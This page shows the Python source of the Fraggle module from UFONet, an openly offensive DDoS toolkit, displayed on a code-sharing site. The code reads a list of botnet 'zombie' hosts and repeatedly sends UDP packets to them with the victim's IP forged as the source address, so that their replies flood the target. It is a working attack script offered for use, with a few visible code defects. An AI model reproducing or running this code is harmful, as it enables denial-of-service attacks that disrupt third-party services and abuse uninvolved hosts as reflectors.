Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/fraggle.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
import urllib.parse
14
try:
15
from scapy import *
16
except:
17
print("\nError importing: scapy lib.\n")
18
sys.exit(2)
19
20
# UFONet UDP broadcast attack (FRAGGLE)
21
def randInt():
22
x = random.randint(1,65535) # TCP ports
23
return x
24
25
def sIP(base_stations): # extract 'base stations'
26
bs = {}
27
s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
28
if not s_zombie in bs:
29
url = urllib.parse.urlparse(s_zombie)
30
try:
31
s_zombie_ip = socket.gethostbyname(url.netloc)
32
bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
33
except:
34
try:
35
import dns.resolver
36
r = dns.resolver.Resolver()
37
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
38
a = r.query(url.netloc, "A") # A record
39
for rd in a:
40
s_zombie_ip = str(rd)
41
bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
42
except:
43
s_zombie_ip = s_zombie
44
else:
45
s_zombie_ip = bs.get(s_zombie)
46
return s_zombie_ip
47
48
def fraggleize(ip, sport, rounds):
49
f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
50
base_stations = f.readlines()
51
base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
52
f.close()
53
n=0
54
try:
55
for x in range (0,int(rounds)):
56
n=n+1
57
s_zombie_ip = sIP(base_stations)
58
if s_zombie_ip == None: # not any 'base stations' available
59
print("[Error] [AI] [FRAGGLE] Imposible to retrieve 'base stations' -> [Aborting!]\n")
60
break
61
seq = randInt()
62
window = randInt()
63
IP_p = IP()
64
try:
65
IP_p.src = ip # UDP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka FRAGGLE attack)
66
except:
67
print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from target! -> [Aborting!]\n")
68
break
69
try:
70
IP_p.dst = s_zombie_ip
71
except:
72
print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
73
break
74
try:
75
send(IP_p/UDP(), verbose=0)
76
print("[Info] [AI] [FRAGGLE] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
77
time.sleep(1) # sleep time required for balanced sucess
78
except:
79
print("[Error] [AI] [FRAGGLE] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
80
except:
81
print("[Error] [AI] [FRAGGLE] Failing to engage... -> Is still target online? -> [Checking!]")
82
83
class FRAGGLE(object):
84
def attacking(self, target, rounds):
85
print("[Info] [AI] UDP Broadcast (FRAGGLE) is redirecting: [" , rounds, "base stations ]")
86
if target.startswith('http://'):
87
target = target.replace('http://','')
88
sport = 80
89
elif target.startswith('https://'):
90
target = target.replace('https://','')
91
sport = 443
92
try:
93
ip = socket.gethostbyname(target)
94
except:
95
try:
96
import dns.resolver
97
r = dns.resolver.Resolver()
98
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
99
url = urlparse(target)
100
a = r.query(url.netloc, "A") # A record
101
for rd in a:
102
ip = str(rd)
103
except:
104
ip = target
105
if ip == "127.0.0.1" or ip == "localhost":
106
print("[Info] [AI] [FRAGGLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
107
return
108
fraggleize(ip, sport, rounds) # attack with FRAGGLE using threading
109
110